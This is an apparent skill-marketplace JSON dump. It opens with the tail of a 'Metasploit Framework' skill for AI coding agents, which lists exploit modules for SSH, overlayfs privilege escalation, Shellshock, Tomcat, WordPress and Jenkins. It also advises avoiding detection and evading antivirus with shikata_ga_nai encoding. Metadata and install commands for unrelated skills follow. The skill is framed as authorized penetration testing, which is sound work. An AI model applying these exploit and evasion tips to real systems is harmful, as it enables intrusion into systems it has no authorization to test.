Linux\nexploit\u002Flinux\u002Fssh\u002Fsshexec\nexploit\u002Flinux\u002Flocal\u002Foverlayfs_priv_esc\nexploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec\n\n# Web Applications\nexploit\u002Fmulti\u002Fhttp\u002Ftomcat_mgr_upload\nexploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nexploit\u002Fmulti\u002Fhttp\u002Fjenkins_script_console\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only use on systems you own or have written authorization to test\n- Document all testing activities\n- Follow rules of engagement\n- Report all findings to appropriate parties\n\n### Technical Limitations\n- Modern AV\u002FEDR may detect Metasploit payloads\n- Some exploits require specific target configurations\n- Firewall rules may block reverse connections\n- Not all exploits work on all target versions\n\n### Operational Security\n- Use encrypted channels (reverse_https) when possible\n- Clean up artifacts after testing\n- Avoid detection by monitoring systems\n- Limit post-exploitation to agreed scope\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |\n| Exploit fails\u002Fno session | Run `check`; verify payload architecture; check firewall; try different payloads |\n| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |\n| Payload detected by AV | Use encoding `-e x86\u002Fshikata_ga_nai -i 10`; use evasion modules; custom templates |\n\n",{"name":5,"metadata":43,"description":7},{"author":44,"version":45},"zebbern","1.1","main","015422534a7457348a313b6381f0255d3364eb8c","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fmetasploit-framework",0,"https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates","https:\u002F\u002Fgithub.com\u002FMishit18","2026-11-13 18:15:57",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add Mishit18\u002Fclaude-code-templates --skill \"Metasploit Framework\"",{"tool":59,"command":60},"bunx","bunx skills add Mishit18\u002Fclaude-code-templates --skill \"Metasploit Framework\"",{"tool":62,"command":63},"pnpm","pnpm dlx skills add Mishit18\u002Fclaude-code-templates --skill \"Metasploit Framework\"","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fmetasploit-framework\u002FSKILL.md",true,[],[68,100,124,151,177,201],{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":72,"licenseFileUrl":73,"sourceHtmlUrl":74,"categories":75,"keywords":81,"publishedAt":38},"01M6R4ARN4W2VZRDERDTMN1KP0","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[76],{"categoryNo":77,"categoryName":78,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000009","前端开发","SCENARIO","使用场景",[82,83,84,85,86,87,88,89,90,91,92,93,94,95,21,96,97,98,24,99],"web artifacts builder","web","artifacts","artifacts builder","builder","frontend","css","components","react","routing","state management","state","file","Tailwind","single-file","ui components","multi","single",{"skillNo":101,"name":102,"nameZh":6,"description":103,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":72,"licenseFileUrl":104,"sourceHtmlUrl":105,"categories":106,"keywords":111,"publishedAt":38},"01M6R45GXREM5DP8T08MAC788H","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[107,110],{"categoryNo":108,"categoryName":109,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":77,"categoryName":78,"taxonomyType":79,"taxonomyTypeDesc":80},[31,112,113,87,114,115,83,116,117,118,119,120,121,122,123,25,24],"webapp testing","webapp","screenshots","playwright","debugging","toolkit","browser","ui","logs","applications","behavior","local",{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":128,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":38},"01M6R2GYJ470X8EB7R58V0B68K","think-tank","Run a Virtual Think Tank — a structured multi-persona debate — before planning or making architectural\u002Fdesign\u002Fstrategic decisions. Use this skill whenever the user is about to plan a system, make a technology choice, evaluate trade-offs, decide on an approach, or faces any decision where multiple perspectives would sharpen the outcome. Also trigger when the user says \"think tank\", \"debate this\", \"perspectives on\", \"trade-offs\", \"should I use X or Y\", \"help me decide\", \"before we plan\", or asks for pros\u002Fcons of competing approaches. This skill should run BEFORE any implementation planning begins — it produces a structured analysis that feeds into better plans.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fthink-tank\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fthink-tank\u002FSKILL.md",[],[132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,22],"think tank","think","design","run","feeds","analysis","persona","plan","sharpen","virtual","decision","choice","decide","perspectives","outcome","me","debate","make","trade-offs",{"skillNo":152,"name":153,"nameZh":6,"description":154,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":72,"licenseFileUrl":155,"sourceHtmlUrl":156,"categories":157,"keywords":161,"publishedAt":38},"01M6R2FSR55AVRFA9YZ8SC2GZG","skill-creator","Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fskill-creator\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fskill-creator\u002FSKILL.md",[158],{"categoryNo":159,"categoryName":160,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000023","Skill与智能体开发",[162,163,164,36,165,166,167,168,169,170,171,172,173,174,25,24,175,22,176],"skill creator","creator","workflows","update","capabilities","knowledge","tool","integrations","specialized","guide","new skill","existing skill","users","Existing","new",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":181,"categories":182,"keywords":183,"publishedAt":38},"01M6R2FK42ZZ4HJTJVVK9WJBBP","ship-learn-next","Transform learning content (like YouTube transcripts, articles, tutorials) into actionable implementation plans using the Ship-Learn-Next framework. Use when user wants to turn advice, lessons, or educational content into concrete action steps, reps, or a learning quest.","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fship-learn-next\u002FSKILL.md",[],[184,185,186,187,19,188,189,190,21,191,192,193,194,195,196,197,198,199,200,22],"learn","ship learn next","ship","next","learning","read","write","advice","implementation","youtube","plans","quest","transform","actionable","action","lessons","youtube transcripts",{"skillNo":202,"name":203,"nameZh":6,"description":204,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":72,"licenseFileUrl":205,"sourceHtmlUrl":206,"categories":207,"keywords":214,"publishedAt":38},"01M6R2088G1RHDA5MDX16HASRB","slack-gif-creator","Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like \"make me a GIF of X doing Y for Slack.\"","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fenterprise-communication\u002Fslack-gif-creator\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FMishit18\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fenterprise-communication\u002Fslack-gif-creator\u002FSKILL.md",[208,211],{"categoryNo":209,"categoryName":210,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000005","邮件与沟通",{"categoryNo":212,"categoryName":213,"taxonomyType":79,"taxonomyTypeDesc":80},"01JBSEEDCAT000000000000016","图像与多媒体",[215,216,217,163,218,219,220,221,167,21,147,174,149,222,223,24,224,22],"slack gif creator","slack","gif","validation","Tools","constraints","Animation","Utilities","concepts","request"]